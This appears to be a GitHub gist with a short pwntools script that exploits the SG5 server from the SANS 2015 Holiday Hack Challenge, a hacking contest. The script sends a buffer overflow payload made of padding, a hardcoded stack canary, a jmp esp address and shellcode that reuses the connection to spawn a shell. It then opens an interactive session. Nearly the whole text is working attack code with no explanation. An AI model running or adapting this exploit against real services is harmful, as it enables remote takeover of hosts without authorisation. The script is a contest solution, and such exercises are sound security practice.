Last active
January 14, 2016 05:48
-
-
Save fragmede/b86e38ffa5c9fa342f76 to your computer and use it in GitHub Desktop.
exploit for SG5 for SANS 2015 Holiday Hack Challenge
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
canary = p32(0xe4ffffe4) | |
jmpesp = p32(0x0804936b) | |
command = 'whoami; ls; pwd;' | |
r = remote('localhost', 4242) | |
r.recv() | |
r.sendline('X') | |
r.recvuntil('protected!\n') | |
r.recv() | |
payload = '' | |
payload += 'A' * cyclic_find('bbaa') | |
payload += canary | |
payload += 'B' * cyclic_find('baaa') | |
payload += jmpesp | |
payload += asm(shellcraft.alarm(0)) | |
payload += asm(shellcraft.findpeersh()) | |
log.info('sending shellcode') | |
r.sendline(payload) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment